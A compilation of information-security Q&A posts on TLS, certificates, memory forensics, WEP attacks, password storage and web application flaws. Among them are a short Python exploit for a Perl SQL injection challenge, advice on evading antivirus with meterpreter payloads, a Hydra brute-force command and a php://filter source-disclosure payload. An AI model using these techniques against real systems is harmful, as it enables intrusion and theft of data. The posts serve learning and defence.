How to dump the memory of a given process with Volatility 3? It seems that the options of volatility have changed. How can I extract the memory of a process with volatility 3?
The "old way" does not seem to work:

If desired, the plugin can be used to dump contents of process memory.
vol.py -f [image] –profile=[profile] -p [PID] –dump-dir=[directory/]
The above will dump the entire contents of the process memory to a file in the
directory specified by –dump-dir= option.

I tried:
volatility -f mydump.vmem -p 1470 -D procdump

Volatility 3 Framework 1.2.1-beta.1
usage: volatility [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]]
                  [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG]
                  [-o OUTPUT_DIR] [-q] [-r RENDERER] [-f FILE]
                  [--write-config] [--clear-cache]
                  [--single-location SINGLE_LOCATION]
                  [--stackers [STACKERS [STACKERS ...]]]
                  [--single-swap-locations [SINGLE_SWAP_LOCATIONS [SINGLE_SWAP_LOCATIONS ...]]]
                  plugin ...
volatility: error: argument plugin: invalid choice procdump (choose from banners.Banners, configwriter.ConfigWriter, frameworkinfo.FrameworkInfo, isfinfo.IsfInfo, layerwriter.LayerWriter, linux.bash.Bash, linux.check_afinfo.Check_afinfo, linux.check_creds.Check_creds, linux.check_idt.Check_idt, linux.check_modules.Check_modules, linux.check_syscall.Check_syscall, linux.elfs.Elfs, linux.keyboard_notifiers.Keyboard_notifiers, linux.lsmod.Lsmod, linux.lsof.Lsof, linux.malfind.Malfind, linux.proc.Maps, linux.pslist.PsList, linux.pstree.PsTree, linux.tty_check.tty_check, mac.bash.Bash, mac.check_syscall.Check_syscall, mac.check_sysctl.Check_sysctl, mac.check_trap_table.Check_trap_table, mac.ifconfig.Ifconfig, mac.kauth_listeners.Kauth_listeners, mac.kauth_scopes.Kauth_scopes, mac.kevents.Kevents, mac.list_files.List_Files, mac.lsmod.Lsmod, mac.lsof.Lsof, mac.malfind.Malfind, mac.mount.Mount, mac.netstat.Netstat, mac.proc_maps.Maps, mac.psaux.Psaux, mac.pslist.PsList, mac.pstree.PsTree, mac.socket_filters.Socket_filters, mac.timers.Timers, mac.trustedbsd.Trustedbsd, mac.vfsevents.VFSevents, timeliner.Timeliner, windows.bigpools.BigPools, windows.cachedump.Cachedump, windows.cmdline.CmdLine, windows.dlllist.DllList, windows.driverirp.DriverIrp, windows.driverscan.DriverScan, windows.envars.Envars, windows.filescan.FileScan, windows.getservicesids.GetServiceSIDs, windows.getsids.GetSIDs, windows.handles.Handles, windows.hashdump.Hashdump, windows.info.Info, windows.lsadump.Lsadump, windows.malfind.Malfind, windows.memmap.Memmap, windows.modscan.ModScan, windows.modules.Modules, windows.mutantscan.MutantScan, windows.netscan.NetScan, windows.poolscanner.PoolScanner, windows.privileges.Privs, windows.pslist.PsList, windows.psscan.PsScan, windows.pstree.PsTree, windows.registry.certificates.Certificates, windows.registry.hivelist.HiveList, windows.registry.hivescan.HiveScan, windows.registry.printkey.PrintKey, windows.registry.userassist.UserAssist, windows.ssdt.SSDT, windows.statistics.Statistics, windows.strings.Strings, windows.symlinkscan.SymlinkScan, windows.vadinfo.VadInfo, windows.virtmap.VirtMap)

EDIT
From andreafortuna -D <directory_path> and --proc-dump <directory_path> are the same and I used ./procdump/ in this example.

To dump the whole memory (not only binary itself) of the given process in Volatility 3 you need to use windows.memmap.Memmap plugin with --pid and --dump options as explained here.
For example:
vol.py -f mydump.vmem -o /path/to/output/dir windows.memmap.Memmap --pid 1233 --dump


How powerful are top Verisign executives? I believe that VeriSign has issued a big share of world's SSL certificates. Many corporations and governments use them. Is it possible for a person that has access to Verisign private keys to sneak a couple and start many undetectable man-in-the-middle attacks? Isn't it too much of a power for a single person to (potentially) have access to the big share of worlds' secret information?

I'm new to the field of security, pardon me if this question is silly.

Big CA are supposed to implement thorough controls to prevent or at least detect wrongly issued certificates. Procedures applied by Verisign are described in their certification practice statement. See in particular their "procedural controls" and "personnel controls", pages 28 to 31 (as of version 3.8.4 of the document, published March 1st, 2011): some tasks require collaboration of several employees who check each other, there are background verification (criminal status, debt...), a lot of logs are produced and audited... To a large extent, these procedures are quite similar to the procedures for launching a nuclear attack, and, frankly, I think that a few hundred nuclear warheads are just a tad more worrisome than a couple fake certificates.


Interpreting this F-Secure Video of a DMA-Attack I'm trying to interpret this video demonstration by F-Secure of the big cold-boot attack discovered last year.

What is happening at the 50-second mark?
Why does he insert the USB boot-device before doing whatever he does next? Was this necessary?

Thanks.

What is happening at the 50-second mark?

Looks like a JTAG-probe or similar, possibly to reset firmware passwords.

  Why does he insert the USB boot-device before doing whatever he does next? Was this necessary?

No, it wasn't necessary, except perhaps to prevent the machine from booting to the installed OS, thus overwriting more of the RAM if it turned on by accident.


Which information does a whois lookup reveal about the registrant of the domain? A friend of mine recently got her Gmail account "hacked" because of a weak password (the same as her login..).

While sanitizing her account, I removed the forwarding of her emails to one email address (let's say booba123@outlook.fr). I typed the scammer's email in a search engine, and I found one domain name which seems to be related to him/her.

The Registrant, Administrative contact, and Technical contact use this email address, and the postal address is filled with plausible data.

Are these informations reliable ?

The domain name that is used for the email address of a scammer may be only loosely related to the scammer himself. E.g. if a scammer uses an Hotmail address, would you conclude that Microsoft (the owner of Hotmail) is an accomplice ?

Probabilities are quite high that the names and addresses indicated in the whois database are fake, or point to an innocent bystander (or possibly the owner of a domain whose mail server got hacked). I suggest refraining from "having fun" as the potential for collateral damage is quite high.

It is usually considered more reasonable to complain with the registrar -- who, in that case, actually manages the incoming emails (try: host -t mx networks2013.com).


Why do several bug bounties ignore user enumeration? While viewing bug bounties, I noticed that most of the bug bounties list the user enumeration in the excluding list. For instance brute forcing user accounts, forget password forms would generally fall into this category.

This got me thinking about why they in general omit user enumeration vulnerabilities? Do the websites not care about usernames leaked over their forms or an bot crawling to created automated accounts?

This question is not concerned about any particular webapp, I just want to know about the general reason behind it.

Because they are already aware of the issue. This is evident of them making a mention on the exclusion list. Not mentioning it would likely lead to a lot of users pointing it out.

And since they are aware you might be wondering why they won't fix it. There really isn't a way to prevent it. If they restrict an email to one sign up they will have to inform the user why they cannot complete their registration if it has already been used. Or if a username is already selected, they would again have to inform them in an user friendly way why they cannot. So instead of taking out enumeration completely they will have to limit attempts, include CAPTCHA, or implement another plan to prevent abuse.

So when you have a known bug with no ability or intentions to fix it there really isn't any benefit to the company to pay out a bounty or receive reports on it.


Best practice to change password while user is already logged in What is the best practice for changing passwords while the user is already logged in?
In my application to change the password, the user who is already logged in has to pass the current password and a new password. There is no email confirmation neccesary.
Tester suggested that password change should be done only by sending an email with a link to change password, is it really necessary? I did not find this recommendation in OWASP Cheat Sheet or ASVS.
I agree that second-factor confirmation is always a more secure solution like using SMS code verification/email code verification, but is it a standard solution or just an additional security feature?

No, it's not necessary per se. Many sites do it the way you are implementing, although there's no harm in doing it the suggested way either.
However, it is at least a good idea to send an email confirmation when actions like a password change are performed.


Is this Perl database connection vulnerable to SQL Injection I have this (stripped down) Perl database query, and I wonder if this can be exploited in any way. This is from a challenge, so I know things could be done different, the task is to exploit this.

To my knowledge it uses prepared statements and is therefore considerable safe. However I could find this, regarding problems with quote and param.

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:database_name","database_name", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!
";
        print "here is your result:
";
        print @$ver;
    }
    else{
        print "fail";
    }
    $sth->finish();
    $dbh->disconnect();
}

After recreating the website locally and reviewing the docs
Yes
This Perl program is vulnerable to SQL Injection.

However this depends on the DBI driver, and could only reproduce this with MySQL

There are 2 flaws with this in $dbh->quote(param('paramater'))

You see, param is context-sensitive. In scalar context, if the parameter has a single value (name=foo), it returns that value, and if the parameter has multiple values (name=foo&name=bar) it returns an arrayref.

From the SO link, the problem with directly calling param() is that it can return an array

As a special case, the standard numeric types are optimized to return $value without calling type_info.

From the DBI docs. Calling quote as a list with SQL_INTEGER as the second parameter, will return an unquoted value.

Since SQL_INTEGER == 4 All it took was this python script:
def vuln(url):
    params={"username": "valid_username", "password": ["'lol' or 1", 4]}
    print(requests.post(url, data=params).text)


TLS Session Resumption? What is SSL Session resumption and can we disable it on the server side or it is just the client side can do it?

Session resumption essentially means to continue with an already established TLS session, i.e. where the certificate was checked, the common cipher determined and the key exchange was done. The idea behind this is similar to a session cookie in HTTP which is used to continue with an already existing session instead of requiring the client to login again and again.

And similar to a HTTP cookie a server might simply not support (or has it disabled) session resumption in which case it will not provide such a session "cookie" (i.e. session id or session ticket in TLS) and the client has to do a full handshake every time. And the client might also not send a previously provided session id or session ticket back to the server in which case also a full handshake need to be done.


Eliminating possible watermarking done by text editors On which text editor is it easiest to prevent and/or eliminate watermarking?

Pre-installed malware that defeats anonymity being used on an airgapped system can be made ineffective, at least partially, by making sure the device does not have any of the hardware necessary to connect to the internet.

But what about watermarking? One would have to eliminate the metacontent of any traffic you want to send in a text file, and then look at it closely in hex editor.

Is there an easier way to make sure that a file has not been watermarked? On which text editor is this easiest?

On which text editor is it easiest to prevent and/or eliminate watermarking?

It's impossible, or nearly so, unless you know the correct text. Watermarking is in general a mark that can be used to distinguish a single copy afterwards. This may be as simple as  having two spaces in a text; edit this answer and you will see that.

Other ways may be replacing some words. For instance, I can replace "I had pasta for lunch today" with "I had fish for lunch today", and without knowing if the text exists in other forms, you have no way of telling. To me, as author, it would be trivial to pinpoint whom had leaked, if every recipient got a unique text, yet impossible for any one recipient to discover it, without talking to other recipients.

Another good alternative would be to somehow misspell a word here and there. This may look accidential to the receiver...

That said. If you want to exchange text, exchange text. Not word files or any other obscure, possibly binary format. Heck, word files can even include active content such as Visual Basic Macros!

If formatting is desired, I'd suggest some open, verifiable formatting, such as markdown or HTML.


Tamper proof SD card Hackers can hack the SD memory card micro controller and physical tampering to modify the SD card firmware or hardware.

https://media.ccc.de/v/30C3_-5294-en-_saal_1_-201312291400-_the_exploration_and_exploitation_of_an_sd_memory_card_-bunnie-_xobs

How can I create a tamper proof SD card?

You don't.
Once someone has access to your SD card for prolonged amounts of time, it's not longer your SD card. This is a variation of one of the 10 immutable laws of security.


Safe alternative for the `x-forwarded-proto` header? I'm trying to redirect all http requests to https for a node.js express server deployed on Heroku.

To that extent, I'm testing the x-forwarded-proto header of the request like this:

app.use(function(req, res, next) {
  if (!req.secure && req.get("x-forwarded-proto") !== "https") {
    res.redirect("https://" + req.headers.host + req.url);
  } else {
    next();
  }
});

However, both Heroku and Express docs seem to point out that the X-Forwarded-Proto header is not trusted "for security reasons":

Express docs:

  X-Forwarded-* headers are easily spoofed and the detected IP addresses are unreliable.

Heroku docs:

  The X-Forwarded-For, X-Forwarded-By, X-Forwarded-Proto, and X-Forwarded-Host headers are not trusted for security reasons, because it is not possible to know the order in which already existing fields were added.

Is my understanding correct: can it be altered by an attacker so that we might believe our app is accessed via https when in fact it is using http?

If so, is there any other (secure) way to verify the protocol used to access an application deployed on Heroku?

Note: I have also asked this question on stackoverflow without much success though. Higher hopes here...

X-Forwarded-* headers are used by proxy strategies (WAF/Load Balancer/DLP HTTP Gw/etc.) and yes anyone can send any header without custom development, have a look following command (bash).

Example custom header command: curl http://test.com -H 'X-Forwarded-For: 6.6.6.6'

This why Heroku does not accept X-Forwarded-* headers from WAN, this is the case. You can not send X-Forwarded-* headers with JS but Heroku will proxy your request and give you X-Forwarded headers (to your backend).

You can verify my answer at https://help.heroku.com/J2R1S4T8/can-heroku-force-an-application-to-use-ssl-tls.

  Under the hood, Heroku router (over)writes the X-Forwarded-Proto and
  the X-Forwarded-Port request headers. The app checks X-Forwarded-Proto
  and responds with a redirect response when it is not https but http.


What exactly are the keys doing in a Certificate? I'm reading up on web security. And I'm a bit lost at a few places.

First stage is the Hello phase.

The client sends a message to the server telling the server, I will use these versions of SSL, and cipher suites. First question is, how exactly do the parts of a cipher suite work?

Second stage is Certificate Exchange

Certficate exchange.

Third stage is Key Exchange

Key Exchange - The encryption of the actual message data exchanged by client and server will be done using either a symmetric algorithm or asymmetric. Second question, How exactly do these keys work to be applied to encrypting/decrypting messages. What is the difference between public and private keys, and how is this different than using just the symmetric key for symmetric algorithms?

You ask numerous questions, so I'll try to address a few of them.

First, the question posed by the title, "What exactly are the keys doing in a Certificate?"
They're doing nothing, because they are not there. The key-related stuff in an X.509 Certificate is just a hash of the public key to which the Certificate applies.

"how exactly do the parts of a cipher suite work?"
The specified symmetric cipher will be used, with randomly generated per-session keys, to encrypt the data streams. The specified asymmetric or Public Key cipher will be used to establish the session, including exchanging keys to be used for the symmetric cipher. Both ends of the connection have to agree to use the same cipher suite.

"How exactly do these keys work to be applied to encrypting/decrypting messages"
The exchanged keys, which have been randomly generated for this session only, are used with the symmetric cipher to encrypt and decrypt the data streams.

"What is the difference between public and private keys"
From just the Public key it is not possible (or, it is computationally infeasible) to derive the Private key. Thus, you can make your Public key, well, public. Details of just how Private/Public key pairs are generated is specific to each Public Key algorithm.

"how is this different than using just the symmetric key for symmetric algorithms?"
Public Key algorithms are generally slower than symmetric algorithms, but they win in the key-distribution stakes: To exchange symmetrically-encrypted messages pairwise between N parties, where each message is readable only by its intended recipient, requires O(N^2) keys - each party needs to distribute different keys to each of the other (N-1) parties. To achieve the same result using an asymmetric cipher requires just N Private/Public key pairs - each party publishes its own Public key, and keeps its own Private key secret.


Techniques for Anti Virus evasion What are some good anti virus evasion techniques when using ps_exec? As a pentester I often encounter situations where you can't, for one exploit a machine as they are running anti-virus software on their machines. I'm mostly talking about binaries which get saved on the victim's machine before being executed.

What are some good technique to, for instance, generate a meterpreter payload dynamically so that you can evade AV software.

There are strategies to improve the chances of evading a target's AV.  The overall strategy is to try to develop a backdoor that is unique as possible.   Writing your own backdoor from scratch will be the most successful.

A protected,  or "encrypted" envelope around malware is a common strategy.   However,  AV's will sometimes flag the envelope and assume the contents is malware, which sometimes happens with UPX.  As of 2015, Veil-Evasion has become my preferred envelope used to evade signature anti-virus software.


An XSS attack is working on Firefox but not on Chrome..Suggest changes to make it work on Chrome I am able to inject this:

http://domain.com/search/songs/

to the page HTML.

The onerror event is giving me the cookie on my latest updated Firefox.

But Chrome is sanitizing the HTML to this:

When I try to inject the script tag, the application is somehow sanitizing it.

I dont know if I should share the website on which I found this vulnerability here.

Please suggest me on how to make it work on Chrome.

Usually, demonstrating an attack under a single browser is sufficient for a penetration testing engagement, unless it's an environment where only Chrome is being used or similar.

That being said, I'm guessing this is a reflected XSS, so it's probably being caught by Chrome's XSS auditor: http://blog.chromium.org/2010/01/security-in-depth-new-security-features.html


When running a WEP fragmentation attack on an AP with no clients, how are the first few bytes of keystream obtained? As I've understood Andrea Bittau's fragmentation attack, an attacker can obtain a keystream of arbitrary length if he can first obtain a very small keystream of about 8 bytes. I understand that this small keystream can be obtained by intercepting an arbitrary, encrypted packet sent between the AP and a client, and XOring with the partially known plaintext of this arbitrary packet (common headers, etc.).

However, if the AP has no clients, how can that first, encrypted packet be elicited from the AP for interception? There are several guides out there with practical tutorials for how to do this, but I never see it explicitly mentioned how the AP is lured into sending the first, encrypted packet.

It would be great if someone could help me out on this. I've been stuck on this problem for far too long.

I use the word "packet" to describe several frames aggregated into one frame. I'm not talking about the transport layer. I don't know if this is something only my lecturer does.

This attack will only work with WEP in open authentication. This means the attacker can authenticate to the system without any prior knowledge.

Then you have a client. One which the AP will (sometimes) send ARPs to; there's your encrypted data packet. The tutorials you'll find will mention the need for faking authentication.


How can i fine tune hydra to find the correct password I am having a bit of a pickle getting hydra to see the correct password when the page is redirected. The condition where the password is correct is if the login is redirected to a certain page in the root test site.

I am using the below command

`hydra -l username -P passwordlist  127.0.0.1 https-post-form "/index.php:UserName=^USER^&Password=^PASS^&submit=logout:invalid" -vV -f`

While hydra performs this command, it shows that the page has redirected to another page. Just as it had tested the correct password which I previously set.

How can I tune this hydra command to be able to stop and find the correct password after it has been redirected?

Without seeing your test webpage it's hard to say.  However, looking at Hydra's source code, it appears to follow redirects and eventually inspects the content of the final page (assuming it didn't hit the redirect limit).

As for the HTTP module's options, you can specify a pass or fail criteria.

The option field (following the service field) takes three ":" separated
values and an optional fourth value, the first is the page on the server
to GET or POST to, the second is the POST/GET variables (taken from either
the browser, or a proxy such as PAROS) with the varying usernames and passwords
in the "^USER^" and "^PASS^" placeholders, the third is the string that it
checks for an *invalid* or *valid* login - any exception to this is counted
as a success.
So please:
 * invalid condition login should be preceded by "F="
 * valid condition login should be preceded by "S=".
By default, if no header is found the condition is assume to be a fail,
so checking for *invalid* login.

Your current pattern considers the password a failure if the resulting page contains "invalid".  Given that correct logins redirect, it may be better to instead search for a "pass" condition instead by prefixing the pattern with S=.


Is it possible to force a browser to use http in an ssl enabled (https) website? I was doing a security research on storing the session id in local storage instead of storing it in cookies. I understand that it is not possible to tag the values in local storage as HttpOnly and so it may be vulnerable to XSS attacks. Since all the inputs are properly validated I am free from this issue.

But the other issue I found is the tampering of data while transferring to the server. Since my local storage session ID cannot be tagged under Secure, it is possible that it can be transmitted through an un-encrypted channel (HTTP). To mitigate this, I want to know if it is possible to access a page via HTTP which is secured with SSL.

A page which is secured with SSL (or TLS for that matter) cannot be accessed via HTTP, as that would mean that the page is not secured anymore.

If I rephrase the question: Is it possible to access a particular page of a HTTPS secured website via HTTP, then I would say that is possible, but very INsecure. Moreover, the cookie with the session ID will probably have to be sent along with every page request, as you need to track the session across several pages. That would imply that you need to serve almost every page over HTTP, which thus renders your site insecure.

In case you need the session cookie on only one page, you could tell the client to carry out a HTTP request to that one page, which will then sent along all cookies that don't have the 'secure' flag set. However, this means that all these cookies are vulnerable to a MITM attack, and can be read by anyone listening in on your communication.

My advice: do not ever consciously serve a page of a HTTPS site over HTTP.

So, the question you need to ask yourself is why can't my session ID be tagged secure only. Is it laziness, or is there another reason why you cant tag this cookie as being secure?

By the way, to force a browser to always use HTTPS for a website (and not rely on 302 redirects to visit the HTTPS version), HTTP Strict Transport Security can be used. Please refer to OWASP for more information.


What kind of encryption is a one-time pad? Is it a substitution cipher or a stream cipher or both?

It is not a substitution cipher.  Schneier classifies it as a stream cipher because it converts plaintext to ciphertext one bit or byte at a time, generally by XORing the plaintext with a "keystream".

In most stream ciphers the keystream is only pseudo-random, but in a classic "one-time pad" the keystream is entirely random.  It can be though of as a fresh key for each message, equal in length to the plaintext, which is typically combined with the plaintext via XOR so it is easy to get plaintext back from the ciphertext with another XOR.  The trick is getting the pad itself - good quality truly random keying material - to the other end of the communications channel, out-of-band....

See also One-time pad - Wikipedia, the free encyclopedia


Google Starbucks trying to Middleman my Goldmoney.com connection? I have been using the same Google-Starbucks location for three days now, just taking care of personal business while waiting for my car to get fixed at Starbucks. I was able to access goldmoney.com and transfer money to my bank account, but now it seems like my wifi connection is being interrupted specifically for that website's certificate authority. Also curious if the NSA or some agency involved at other local network nodes are interested in me accessing that website. What's possible and what is likely happening?

Google (and by extension Chrome) is fairly aggressive at deprecating algorithms commonly used for TLS, and will complain even when there are no specific security vulnerabilities, just the use of an algorithm they want to see pushed into obsolescence.

In this case, they're complaining about the signature algorithm. That most likely means that the certificate was signed with SHA-1, and has an expiration date too far in the future for Google's taste. That doesn't mean that there are any issues with the site or the certificate today...It's simply a stick that Google has chosen to use (for better or worse) in order to push CAs and end-user organizations to update to better algorithms.

So, while in a macro sense this behavior means that we're getting a stronger, more secure web, looking at just this specific instance it meant that you got what at first glance appears to be a serious warning about an issue that doesn't actually present any security issue to you at all.


AES_GCM and TLS sequence number Am I right about that AEAD encryption/decryption uses a TLS sequence number twice, first time in the nonce and a second in additional data?

And why did they make the TLS 1.2 sequence number 2 times bigger than the TSP sequence number? Why does they need this overhead?

About additional data from rfc5246#page-25

  The additional authenticated data, which we denote as additional_data, is defined as follows:

additional_data = seq_num + TLSCompressed.type +
                        TLSCompressed.version + TLSCompressed.length;

About nonce from  rfc5288#page-2

        struct {
            opaque salt[4];
            opaque nonce_explicit[8];
         } GCMNonce;

  The salt is the "implicit" part of the nonce and is not sent in the packet.  Instead, the salt is generated as part of the handshake process: it is either the client_write_IV (when the client is sending) or the server_write_IV (when the server is sending). The salt length (SecurityParameters.fixed_iv_length) is 4 octets.

  The nonce_explicit is the "explicit" part of the nonce. It is chosen by the sender and is carried in each TLS record in the GenericAEADCipher.nonce_explicit field. The nonce_explicit length  (SecurityParameters.record_iv_length) is 8 octets.

  Each value of the nonce_explicit MUST be distinct for each distinct invocation of the GCM encrypt function for any fixed key. Failure to meet this uniqueness requirement can significantly degrade security. The nonce_explicit MAY be the 64-bit sequence number.

The sequence number MAY be used twice.

First there is, indeed, the sequence number, which is the number of records sent since the last handshake. That value is what is used in the "additional data" for AEAD cipher suites (in CBC+HMAC cipher suites, the sequence number is part of the input to the HMAC).

Then there is also the per-record IV, which must have length 12 bytes; in TLS 1.2, these 12 bytes are the concatenation of an implicit 4-byte value (the one computed from the key exchange) and an explicit per-record 8-byte field. The sender is responsible for choosing that 8-byte value, with the caveat that any given value MUST NOT be reused (with the same key). However, GCM is not picky about that IV, as long as the "no reuse" rule is respected. Thus, many implementations find it expedient to use a simple counter, and the consequence is that the counter will be synchronized with the sequence number, since both will be incremented for each outgoing record. This is not a problem.

TLS 1.2 could have been defined to use the sequence number directly for the GCM per-record IV; this would have saved 8 bytes in each record. It would have been fine. The saving is not big, though: you want to save bytes when you send a lot of data, and then you are probably using big records (16384 bytes of plaintext per record), so 8 extra bytes are not comparatively a big deal.

Why TLS 1.2 was defined that way is a bit unclear; one would have to dig through the minutes of committee meetings to see if there was some reason for that. It is a rather safe bet, though, that if there was a "reason", then it probably was a vague semi-dogmatic assertion like "we must include an explicit field because it may help counter a future unknown attack in some as yet unspecified way".


Is TDEA (TripleDES) invulnerable to the weak keys of DES? The key space of DES includes some keys that are weak, which results in a ciphertext that is extra vulnerable to cryptanalysis.

Is TDEA (also known as TripleDES) invulnerable to those weak keys? Or, is it necessary to filter cryptographically-randomly generated TripleDES keys for the list of weak/semiweak keys?

A weak key for a block cipher is a key such that encryption and decryption turn out to be the same function. This means that with such a key, a black box which nominally encrypts things only can also be used to decrypt things. A semi-weak key is a key such that the decryption function with that key is identical to the encryption function with another key.

DES is a permutation with 64-bit blocks; there are 264! such permutations (it is a huge number, close to 10347382171305201285699) and the key selects one such permutation. There are "only" 256 possible keys, so the 256 encryption functions and the 256 decryption functions "should" be all distinct from each other, with an overwhelming probability, if we assume that the key selects permutations "at random" (that's the "ideal cipher" model). The existence of weak and semi-weak keys is thus some extra structure, which is worth mentioning, although calling them "weaknesses" is an overstatement. Weak keys and semi-weak keys are part of a more general class of "weaknesses" called related keys. Related keys can be a concern in some specific scenarios where an attacker can force usage of related keys through some weakness in the key generation process; unless something is done thoroughly wrong (like it was done with WEP) or the block cipher is used in an unusual way (e.g. as a building block for a hash function in a Merkle-Damgård construction), related keys attacks are no real threat to security.

Testing a given key for being "weak" is not useful with DES, because risk of a properly generated key being "weak" is extremely low. Simply "trying" a few thousand potential keys ("bruteforcing") will yield a much higher success rate for much less effort.

3DES being three DES instances in a row, it also has "weak keys": given weak keys K1, K2 and K3 for DES, the key K1 || K2 || K3 is a "weak key" for 3DES. As is the case for DES, this is a noteworthy mathematical curiosity, but it has no practical security implications.


What is the correct term for the discipline covering software security only? I'm having trouble finding literature and courses specifically applicable to my field ( as a software developer who works on mobile and web applications ). What term or title best describes the security field that encompasses mostly just the areas I'm interested in? (below). If there isn't a term for it I would accept a course that covers most of the areas highlighted. I'm not seeking to change career and become a security analyst, I just want to be able to understand what I'm doing. Right now I pretty much just blindly follow OWASP guidelines if an issue is raised.

Specifically I'm interested in the following topics

TLS/SSL - advanced details of the networking as well as the
encryption
Hashes, salts and other forms of encryption ( sha256 etc )
Obfuscating source code and encrypting keys on devices.
Secure key storage - how to decrypt safely in a client
Authentication & Authorization ( including OAuth etc. )
Pen testing and decompiling code from the applications

I am specifically not interested in the following

HCI for security
Layering security, security management, security policies
Secure software development lifecycle ( I'm interested in the technical side of development, not the software lifecycle. My company has an SSDL in place )
Firewalls, ACLs, routers
network pen testing - port scanning etc.
physical security

The term you're looking for is Application Security

It's not a perfect fit for what you described though as it does include the idea of the lifecycle.

There's no one term that exactly describes what you do and don't like to do.

Maybe web application security could apply too. A lot of people want their applications evaluated in the context they will be used, which includes the lifecycle of the application and it's environment (network).

There's some companies that do dynamic software analysis or source code review.


How can a hacker put malware on someone's PC when all precautions were taken? If someone buys a brand new PC with NO antivirus program, and:-

Never opens ANY emails/attachments

Never visits shady/malicious websites

Never downloads anything,

Never connects an infected removable drive to the PC.

Never clicks any advertisement

...but just browses YouTube, Wikipedia, and some other educational and trustable sites, how can a hacker put malware on their PC? Is there any way they can do that?
Not going to buy a new PC, but just trying to understand how hackers put malware on PC.

A website does not need to be malicious. But the implementation of the website, the web server that hosts it, the OS that it runs on or the database may have vulnerabilities. Such a vulnerability may be exploited (by XSS, SQL injection, directory traversal etc.) and suddenly turns the trustworthy website into a malicious website without you (or anyone else) noticing it.


Is OpenSSL CCS Injection (CVE-2014-0224) critical? Recently the CCS Injection was discovered in OpenSSL (CVE-2014-0224)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224.
It allows man-in-the-middle attackers to consequently hijack sessions or obtain sensitive information.

Is it critical?

Is it required to immediate upgrade OpenSSL?

How it is risky related to OpenSSL Heartbleed (CVE-2014-0160)?

CCS Injection requires an active attacker, but does allow an active attacker to downgrade the connection to a predictable key, so the attacker can then read all traffic being passed.  It requires both endpoints be vulnerable, so not nearly as many users should be affected as were for heartbleed.  That being said, an active attacker can recover 100% of the traffic from sessions that they are able to MITM.

So fewer users at risk, harder to execute the attack, but when executed, arguably much worse (100% session recovery).  I would upgrade immediately.


Is your communication in same subnet safe when an attacker initiates a ARP Poisoning attack? Is it possible that the Man-In-The-Middle can eavesdrop on communications in your subnet? (meaning between computers in your subnet and not outside of it)

I am learning networking and I made this assumption from my course material and I'd like to double check.

With an attacker on the same broadcast domain (in this case subnet) it is relatively easy to perform an ARP spoofing attack.

Within a broadcast domain TCP sequence prediction style attacks become much more valid if the attacker can simply listen for the sequence number in promiscuous mode instead of actually guessing it.


How does a company check the password received from your phone keypad during a call? I had to call customer service recently regarding my 401(k) and robo call in the beginning asked me to enter my social security number using the keypad followed by a # and then asked for my account password using the keypad followed by # where special characters are *.
If the passwords are stored as hashes in their database, how is it possible that they can compare your input and verify it matches the password stored?
Punched in through a keypad, Hunter21 becomes 48683721 which would be indistinguishable from gtmtd7b1. It does not seem reasonable to compare all possible combinations of 48683721 to the hash because when including special characters and capitalization, it becomes more complex.
My only thought would be that they are storing my password as plaintext and comparing my keypad entered value to it and that would be concerning. I suppose when I first create the password they could convert it to the keypad equivalent number and hash/store that.
Is this common practice?

One of the possible ways to do this without having do do the amount of hash calculations that you mention is, at the moment of creation of the password, to calculate the hash of your password as it would have been entered in a numeric keyboard, so the database would have both hashes stored, and would just need a simple comparison to the corresponding hash to authenticate.


Can my company see that i'm using SSH? In my company we use our own notebooks.

Due to web filters, I decided to create an SSH tunnel to use my home internet connection.

My question is: can my company identify that I'm using SSH? I've configured Firefox to connect to my SSH tunnel via SOCKS v5 and I'm using Bitvise SSH.

I ask because I think they might block all SSH connections, to avoid high bandwidth usage.

Absolutely; they can see every packet going across their network, and analyse and block it as required.

They should draw up a detailed acceptable use policy if they're going to make you use your own machine for work. Check if there is one. If they haven't told you not to tunnel personal traffic back home then they can't really complain if you do it!


Postfix SMTP - Can I use SSH public keys instead of sasl password I am relatively new to managing mail server, although i am familiar with webhosting servers not running dedicated email services.

Postfix is configured to use sasl-password authentication

I have setup a mail server and am noticing repeated brute force attacks in the logs...hundreds of them every few seconds.

I run fail2ban and its doing a fair job at looking after this, however, i can see that the scripts are using all sorts of tactics in order to try to fool fail2ban from banning ips depending on the restrictions i apply (ie failed login attempts, ban times etc)

In light of the above,

is it possible to completely change the login authentication such that a public key must be used instead of password so that these automated bots require more advanced methods to even hit the smtp server in the first place?
For websites that are on a server also acting as a mailserver, is there a method to only allow authentication from vhosts on this webserver itself?

Postfix ... Can I use SSH public keys instead of SASL password?

In short, no.  Postfix uses SASL, and while SASL supports a variety of different authentication mechanisms, SSH pubkeys is not one of them.

That being said, SASL does support a number of sophisticated mechanisms that would serve your purpose of making login non-trivial for attackers to attempt.  The biggest problem may be finding and configuring a complex mechanism that is supported by your legitimate clients!

The simplest way to incorporate public key authentication into your Postfix SMTP workflow is to use the Postfix SMTP TLS settings to require authentication, as described in this documentation.

Alternately, as this answer outlines, you can force your legitimate clients to connect via SSH and connect to the SMTP server over an SSH tunnel, thus meeting the same goal.

  Is it possible to completely change the login authentication such that
  a public key must be used instead of password so that these automated
  bots require more advanced methods to even hit the smtp server in the
  first place?

Some of the SASL mechanisms listed on the page above are, effectively, public keys - for example, RFC 3163 (but note their caveat about it being less useful than simple TLS).

The lack of pubkey SASL mechanisms is likely due to the fact that everyone considering one looked at the alternative of doing the same thing at the TLS layer and said "Solved, no need to work on this!"

  For websites that are on a server also acting as a mailserver, is
  there a method to only allow authentication from vhosts on this
  webserver itself?

Certainly, if they're on the same machine, you can set up an SMTP listener on localhost (127.0.0.1) which your web server process can connect to but which is unavailable to outsiders.  You could also trust relay without authentication on that server, since it's not accessible to others.  Look at the Postfix master.cf file for setting up different or additional listeners.


Will the following PHP code result in source code info leak/disclosure? I'm aware of this vulnerability via PHP's filter stream wrapper that is able to disclose PHP source code: file=php://filter/convert.base64-encode/resource=filename.php.

So I went ahead to guard against this kind of attack/exploit, by filtering for/away the "php" keyword, to attempt to stop any PHP stream wrapper.

Any idea whether this is safe/secure enough, or is there another possible attack/injection vector to exploit & view the source code of my PHP scripts?

